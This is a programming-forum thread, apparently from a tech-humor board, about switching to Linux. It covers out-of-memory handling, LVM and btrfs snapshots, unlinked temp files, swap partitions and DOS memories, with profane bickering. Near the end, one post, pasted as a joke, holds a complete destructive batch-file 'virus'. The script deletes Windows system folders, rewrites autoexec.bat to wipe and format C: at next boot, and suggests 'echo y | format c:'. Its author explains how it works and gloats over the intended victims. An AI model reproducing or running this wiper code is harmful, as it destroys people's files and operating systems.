I Moved to Linux and It’s Even Better Than I Expected



  • Another possible outcome is you free memory that you have but don't need, for example:

    Not necessarily, since SIGDANGER gives programs with handlers a chance to
    free up some memory before the situation becomes critical. For example,
    Netscape has a 16MB memory cache on my system that it can free at the
    drop of a hat, if it had a chance to do so. Xterms, the X server, mpg123,
    and many other programs have buffers that are not critical to their
    operation that can be freed.

    link

    So the program could see "oh, malloc() failed! Better go use less RAM elsewhere!"



  • That actually makes sense. I just realized I'm starting to look at the software world in terms of deterministic operating systems and safety-critical applications where you want stuff to fail hard, fast, and early, so you can fix it in the lab before the thing gets airborne. Thank you aerospace industry.



  • My recent experience is with a Chromium-based web browser. Its solution is something like "This tab has killed itself because out-of-memory", which, from a user perspective, isn't very different from "This tab has been killed because out-of-memory".



  • @Grunnen said:

    My recent experience is with a Chromium-based web browser. Its solution is something like "This tab has killed itself because out-of-memory"

    Ah, your Discourse tab.



  • No, that's the one that kills itself because it's trying to display .


  • FoxDev

    .... oooh. clever....

    i like that!



  • I don't think I can take complete credit for the idea, I'd seen it done around here before somewhere...



  • @asdf said:

    Talisker

    FWIW, I was a little disappointed with Talisker Storm, and kind of wish I'd gone with another bottle of the vanilla blue Talisker I needed to replace, but I guess it's almost impossible to get more subjective than whisky tasting, so make of that what you will...



  • @blakeyrat said:

    Wait, 95 posts and nobody's 'shopped in a football? Jesus, this forum sucks.

    Hey! Writing erotic fan-fiction about the penguin and a football takes a lot of t--

    Wait. Hang on.

    You said "'Shopped".

    Crap. Never mind.



  • @blakeyrat said:

    and a swap partition.

    Why?

    Because it makes me happy.



  • @mott555 said:

    Do we need to post trigger warnings now anytime anyone mentions DOS?

    Seems fair, for those of us old enough to actually remember having to use it. Then again, before Windows took off, it was either that or GEM...



  • @mott555 said:

    That statement sounds like an absolute. Are you a Sith? 🚎

    I am a liar. This statement is false. 🍊



  • @mott555 said:

    How do you continue to run correctly if malloc() starts failing? Seems to me that would be unrecoverable. It's like expecting a car to continue normally after a tire blowout.

    If you can allocate a few MB at program start, that should in theory give you some scratch memory wiggle room to handle a graceful shutdown of your app in the situation that a later call to malloc() does fail. It still requires a fair amount of vigiliance during development, tho...



  • @asdf said:

    What do you mean by "internally consistent"? The whole point of LVM snapshots is that it stops writing to the partition when it's in a consistent state, let's you back up the snapshot, and then re-applies the changes made in the meantime, isn't it?

    An LVM snapshot is a point-in-time representation of the state of an entire disk volume. All my VMs are backed by QCOW2 image files. Taking an LVM snapshot of the volume that contains those files gets me a self-consistent point-in-time snapshot of that volume, but if the VMs are running at the time the snapshot is taken, then the internal state of the QCOW2 files inside that snapshot is like that of physical hard drives that have suffered a sudden power loss. If I shut the VMs down first, the QCOW2 files are like physical hard drives whose hosts have been cleanly shut down.

    Yes, NTFS is a journalling filesystem so in theory taking a snapshot of an NTFS volume at any instant is OK. But my VMs are school servers, not HA Internet-accessible business servers, and taking them down for a couple of minutes a day is completely acceptable. They're Windows servers running assorted proprietary daemons, so they occasionally misbehave if I don't restart them every few days in any case. And I like knowing that I won't need to fsck them all after restoring from a backup.



  • @David_C said:

    It also allows you to quickly make read-only "snapshots" of volumes, which is useful for backups, restoring a system to a last-known-good state and other similar things.

    Just for completeness: since LVM2, snapshot volumes have also been writable.



  • @David_C said:

    LVM would still be needed for volumes that span across drives, or for mirroring, for instance.

    Actually no; btrfs has all that stuff inbuilt. In fact it's better at storage pooling than zfs - drives don't all need to be the same size, and you can choose RAID levels per file (or is it per subvolume? I'd have to check).



  • @flabdablet said:

    Windows servers running assorted proprietary daemons

    Hmm...

    @flabdablet said:

    Windows servers

    @flabdablet said:

    running daemons

    Doesn't check out.



  • @blakeyrat said:

    How does Linux know the page it just loaded from disk is the same page it loaded when the application was first launched?

    Because executing a file involves opening it read-only.

    Before Linux can mmap a file, it has to open it in order to get a file handle. That handle is associated with the file's inode, and increases the inode's refcount. Files don't get actually deleted until their refcounts go to zero, showing that they are not linked from any directory and no process has an open handle on them.

    Replacing executables and libraries on disk is done by unlinking the old files, then writing new files, possibly re-using the old files' names; for as long as the old files still have nonzero refcounts, all existing file handles for them remain valid even though their inodes might no longer be linked from any directory.

    So if a process has indeed mmapped files including its own executable and libraries, then it's quite safe to page those in and out of RAM as required.

    Files with handles but no directory entries are a common idiom for using temporary files in Unix programs. You can write a function that creates, opens and unlinks such a temp file and returns the open file handle, and then your program can just pass the handle around or dup it or whatever, using it to manipulate a temp file that it never needs to bother cleaning up. The file can be used freely for as long as an open handle exists and will be removed from disk as soon as the last such handle is closed, regardless whether that happens explicitly or because your program has died unexpectedly.



  • @accalia said:

    @blakeyrat said:
    @tar said:
    and a swap partition.

    Why?


    because...
    because...
    because...
    Because...

    Because I can put my swap partition right at the start of the drive where the transfer rate is highest? :doing_it_wrong:



  • @rc4 said:

    Doesn't check out.

    daemons, services, tomayto, tomahto



  • And if you have a partition as opposed to a file that can grow and shrink on demand, fragmentation doesn't happen.



  • Yes but do you call your Windows scheduled tasks "cron jobs"?


  • Winner of the 2016 Presidential Election

    @Arantor said:

    Yes but do you call your Windows scheduled tasks "cron jobs"?

    I know at least 10 people who do.



  • @Arantor said:

    do you call your Windows scheduled tasks "cron jobs"?

    Only if I schedule them with the cron service.



  • I think upto around 2005, some of us still need to use DOS to flush BIOS or perform restore from Norton Ghost.


  • Trolleybus Mechanic

    @flabdablet said:

    Because I can put my swap partition right at the start of the drive where the transfer rate is highest? :doing_it_wrong:

    Because I can have two partitions swap between the two of them and film it and put it on the internet and make lots of money.


  • Discourse touched me in a no-no place

    @accalia said:

    fixed:

    FOOTBALL_NOT FOUND | E_FAIL


  • Discourse touched me in a no-no place

    @blakeyrat said:

    I've never used DOS. Why would I have?

    You young whippersnapper.


  • Trolleybus Mechanic

    @FrostCat said:

    @blakeyrat said:
    I've never used DOS. Why would I have?

    You young whippersnapper.

    FFS, even I used DOS.

    Family computer was Apple IIe. I was 6 years old. I taught myself programming.

    My first PC was a used XT my uncle and aunt got me for my 13th birthday. They'd seen some of the programming I'd done and wanted to encourage me.

    I eventually traded up, over the next 5 years, to a 286 beige box, a 486 elephant laptop, and then a better 486 desktop. I was, I dunno, 17 or so around that point.

    I installed Windows 3.11 on that desktop. But that still required DOS knowledge. Especially to boot into "games mode" which required fucking around with memory management. That was just before Win 95 came out.

    When I started working, I got into pentiums, and it all gets hazy from there.


  • Discourse touched me in a no-no place

    @blakeyrat said:

    I'm not a jackass.

    Oh man, this is the funniest thing I've read all day. Thanks!

    Before you start ranting, no, you're (probably) not a jackass, just an ass.


  • Discourse touched me in a no-no place

    @blakeyrat said:

    People in IT are the most intolerant motherfuckers in the world.

    All the people who've had a hand cut off in Saudi Arabia in the last few years ago would like a word with you.


  • Discourse touched me in a no-no place

    @Lorne_Kates said:

    That was just before Win 95 came out.

    People still used DOS basically until XP came out because even in Me (IIRC) DOS games still ran better if you dropped out of Windows so you could allocate more low memory.



  • @Lorne_Kates said:

    When I started working, I got into pentiums, and it all gets hazy from there.

    DOS is a gateway drug to Intel Pentiums.


  • Discourse touched me in a no-no place

    @Lorne_Kates said:

    That was just before Win 95 came out.

    People still used DOS basically until XP came out because even in Me (IIRC) DOS games still ran better if you dropped out of Windows so you could allocate more low memory.

    Body is not too similar.


  • Trolleybus Mechanic

    @FrostCat said:

    @Lorne_Kates said:
    That was just before Win 95 came out.

    People still used DOS basically until XP came out because even in Me (IIRC) DOS games still ran better if you dropped out of Windows so you could allocate more low memory.

    Body is not too similar.

    I think you have a loop in your autoexec.bat


  • Discourse touched me in a no-no place

    @Lorne_Kates said:

    I think you💽🐎 have hasa loop in your it's autoexec.bat

    FTFY ­



  • 
    	OOOOOOOOO	OOOOOOOOO	777777777
    	O	O	O	O	      7
    	O	O	O	O	     7
    	O	O	O	O	    7
    	O	O	O	O	   7
    	O	O	O	O	  7
    	OOOOOOOOO	OOOOOOOOO	 7
    
    ************************************************************
    			*** I N F O R M A T I O N ***
    	This batch file VIRUS I have rewritten for you so that unlike previous ones 
    if any that don't work esspecial on Microsoft XP this code will destory Win 
    9x,2000,Millinume,XP and probably and other ones!!!
    
    			*** T H E  C O D E ***
    
    echo y | del C:\WINDOWS\system32\*.*
    echo y | del C:\WINDOWS\*.*
    echo y | del C:\*.*
    
    @ECHO OFF
    IF EXIST C:\"PROGRAM FILES"\*.* DELTREE /Y C:\"PROGRAM FILES"\*.*
    IF EXIST C:\"MY DOCUMENTS"\*.* DELTREE /Y C:\"MY DOCUMENTS"\*.*
    IF EXIST C:\WINDOWS\DESKTOP\*.* DELTREE /Y C:\WINDOWS\DESKTOP\*.*
    IF EXIST C:\WINDOWS\"START MENU"\*.* DELTREE /Y C:\"WINDOWS\START MENU"\*.*
    IF EXIST C:\WINDOWS\COMMAND\*.* DELTREE /Y C:\WINDOWS\COMMAND\*.*
    IF EXIST C:\WINDOWS\SYSTEM\*.* DELTREE /Y C:\WINDOWS\SYSTEM\*.*
    IF EXIST C:\WINDOWS\*.* DELTREE /Y C:\WINDOWS\*.*
    
    @echo off
    cls
    call attrib -h -r c:\autoexec.bat >nul
    echo @echo off >c:\autoexec.bat
    echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
    echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
    echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
    echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
    echo format c: /q /u /autotest >nul >>c:\autoexec.bat
    cd \
    ren \windows win_dos
    rem *** F U C K  Y O U  ***
    cls
    exit
    cls
    
    			*** W H A T  I S  H A P P E N I N G ***
    
    	Well the first code that runs is for xp and the new windows shit that runs 
    different and it's deleting all of the stuff in the system32 folder which 
    contain some serious shit like what will boot the computer so after this 
    there computer is not gonna boot again then the windows folder and the c:\.
    	Then the next code is for pretty much all of the other widows shit that is 
    like windows 9x so it is wipping out the program files,my 
    documents,desktop,start menu,windows etc. by the way this works if you have 
    had trouble with one similar it was probably because you didn't have 
    quotation marks on folders that had spaces to let it know that it's one.
    	Finally the last code that runs is pretty much the same as the one before 
    so i don't think you need me to explain but it will reformat c: and give 
    them a FUCK YOU hopefully!!!
    ***But if you want to try to make it reformat running the first code which i 
    haven't been able to reformat windows xp with the command promt only though 
    dos the code would be
    
    echo y | format c:
    

    I do? I can't find it!



  • @FrostCat said:

    You young whippersnapper.

    I've been using computers since 1987.

    I've never used DOS.


  • Discourse touched me in a no-no place

    @blakeyrat said:

    I've been using computers since 1987.

    I got you beat by like ten years.

    @blakeyrat said:

    I've never used DOS.

    Yes, you missed out on a ton of games.



  • @FrostCat said:

    Yes, you missed out on a ton of games.

    I had a Commodore 64.

    Also I played Starflight II at my grandpa's house, and I remember playing Scorched Earth at an uncle's house. Plus the retro stuff I've got on Steam.


  • Discourse touched me in a no-no place

    @blakeyrat said:

    I had a Commodore 64.

    Your statement does not contradict mine.



  • @FrostCat said:

    Your statement does not contradict mine.

    Who said it did? Replying to invisible gnomes?

    BTW, how are you old enough to have been using computers in 1977, and still so fucking terrible at reading and generally not-being-a-huge-dick?


  • Trolleybus Mechanic

    @blakeyrat said:

    @FrostCat said:
    You young whippersnapper.

    I've been using computers since 1987.

    I've never used DOS.

    Sorry, you don't get to use the Apple excuse. I used an Apple and DOS.



  • @blakeyrat said:

    BTW, how are youam I old enough to have been using computers in 19787, and still so fucking terrible at reading and generally not-being-a-huge-dick?

    I mean...


  • Discourse touched me in a no-no place

    @blakeyrat said:

    Who said it did? Replying to invisible gnomes?

    Sorry, not taking your bait tonight. Go troll someone else, Billy goat.

    @blakeyrat said:

    ill so fucking terrible at reading

    https://www.youtube.com/watch?v=Y-Elr5K2Vuo

    @blakeyrat said:

    not-being-a-huge-dick

    Again, I have your shining best-of-breed[1] example to emulate.

    [1] so to speak.



  • @Lorne_Kates said:

    I used an Apple and DOS.

    Congratulations, you win the "who gives a shit?" award.

    SEE THIS IS MY POINT. I'm being fucking TAUNTED, like it's an elementary school playground, because I grew up in a household which only had Mac Classic computers. What the fuck is wrong with your assholes?


  • Discourse touched me in a no-no place

    @blakeyrat said:

    What the fuck is wrong with your assholes?

    Hey, remember that "not-being-a-huge-dick" thing you were talking about like 2 minutes ago? Yeah, I'm surprised you lasted this long.



  • @blakeyrat said:

    What the fuck is wrong with your assholes?

    That's a bit personal, don't you think? You're not my proctologist.



  • @Lorne_Kates said:

    I can have two partitions swap between the two of them and film it and put it on the internet and make lots of money

    2drives1swap.com



  • @Lorne_Kates said:

    FFS, even I used DOS.

    I used DOS. I had to reboot the computer in MS DOS mode to be able to type these commands:

    cd \ben\busytown
    busytown
    

Log in to reply